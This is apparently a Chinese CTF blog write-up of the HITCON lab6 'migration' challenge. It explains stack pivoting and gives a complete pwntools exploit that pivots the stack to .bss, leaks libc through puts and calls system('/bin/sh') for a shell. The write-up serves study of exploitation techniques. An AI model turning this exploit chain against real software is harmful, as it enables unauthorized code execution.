博客
关于我
强烈建议你试试无所不能的chatGPT,快点击我
Pwn-10月25-Hitcon(三)
阅读量:4693 次
发布时间:2019-06-09

本文共 2439 字,大约阅读时间需要 8 分钟。

目录

Pwn-10月25-Hitcon(三)

一天一天慢慢来,?

lab6-migration

这个题目涉及到栈迁移(stack-pivot),在上面是有这个例题和解释的。

该技巧就是劫持栈指针指向攻击者所能控制的内存处,然后再在相应的位置进行 ROP。一般来说,我们可能在以下情况需要使用 stack pivoting

  • 可以控制的栈溢出的字节数较少,难以构造较长的 ROP 链
  • 开启了 PIE 保护,栈地址未知,我们可以将栈劫持到已知的区域。
  • 其它漏洞难以利用,我们需要进行转换,比如说将栈劫持到堆空间,从而在堆上写 rop 及进行堆漏洞利用

此外,利用 stack pivoting 有以下几个要求:

  • 可以控制程序执行流。
  • 可以控制 sp 指针。一般来说,控制栈指针会使用 ROP,常见的控制栈指针的 gadgets 一般是
pop rsp/esp

在这题中,溢出长度不够导致无法一次性构造ropchain,并且还限制了main函数溢出的次数。

检查保护措施

checksec migration

5bd172b663166.png

开启了NX。

逻辑分析

ida 里面看一看:

5bd1738bc3bfe.png

buf大小为0x28 = 40字节,而read读取0x40 = 64字节

gdb跑一下,看看具体情况:

5bd17674836d1.png

也就是说有4个字节被读取到EBP中,剩下20个溢出字节可以用来构造ropchain。

搜索一下可用的gadget:

5bd18186ce41f.png

构造exp

exp:

#!/usr/bin/python# -*- coding:utf-8 -*-Sfrom pwn import *context.log_level = 'debug'p = process('./migration')elf = ELF("./migration")libc = ELF("/lib/i386-linux-gnu/libc.so.6")system_libc = libc.symbols["system"]print "system_libc:"+hex(system_libc)read_plt = elf.plt["read"]print "read_plt:"+hex(read_plt)puts_got = elf.got["puts"]print "puts_got:"+hex(puts_got)puts_plt = elf.plt["puts"]print "puts_plt:"+hex(puts_plt)puts_libc = libc.symbols["puts"]print "puts_libc:"+hex(puts_libc)binsh_libc= libc.search("/bin/sh").next()print "binsh_libc:"+hex(binsh_libc)leave_ret = 0x08048418p3ret = 0x08048569 #pop esi ; pop edi ; pop ebp ; retp1ret = 0x0804836d #pop_ebp_retbuf1 = elf.bss() + 0x500buf2 = elf.bss() + 0x400payload = 'a'*40# buf1 为ebp,eip ==> read_plt ==> leave_ret为返回地址 ==>read(0,buf1,0x100)payload +=p32(buf1)+p32(read_plt)+p32(leave_ret)+p32(0)+p32(buf1)+p32(0x100)#leave;ret ==> mov ebp,esp; pop ebp; ret;p.recvuntil(" :\n")p.send(payload)sleep(0.1)#通过之前的leave_ret,将buf2作为ebp,得到puts_addr,通过libc泄露得到binsh,system_addrpayload=p32(buf2)+p32(puts_plt)+p32(p1ret)+p32(puts_got)+p32(read_plt)+p32(leave_ret)+p32(0)+p32(buf2)+p32(0x100)p.send(payload)sleep(0.1)puts_addr =u32(p.recv(4))print "puts_addr:"+hex(puts_addr)offset = puts_addr - puts_libcsystem_addr = system_libc + offsetbinsh = binsh_libc +offset'''payload =p32(buf1)+p32(read_plt)+p32(p3ret)+p32(0)+p32(buf1)+p32(0x100)+p32(system_addr)+p32(0xdeadbeef)+p32(buf1)p.send(payload)sleep(0.1)#p.send("/bin/sh\0")p.interactive()'''#懵逼栈payload =p32(buf1)+p32(system_addr)+"bbbb"+p32(binsh)p.send(payload)sleep(0.1)p.interactive()

exp运行效果:5bd17a3f8c896.png

这题伪造假栈帧,从而构造ropchain,简直就是一场消化盛宴,我需要好好消化一下lab6。

今天还看了一下安恒一周年特别赛的一道pwn题--over,做一半发现只能控制ebp和eip???没想到是安恒杯六月赛的一道原题,在ctf-wiki的花式栈溢出技巧里面有,并且和lab6一样也是通过控制ebp和eip来做,但是那题并没有多出来的溢出字节。

总的来说,两种都可以称作伪造假栈帧:。

转载于:https://www.cnblogs.com/yof3ng/p/9852958.html

你可能感兴趣的文章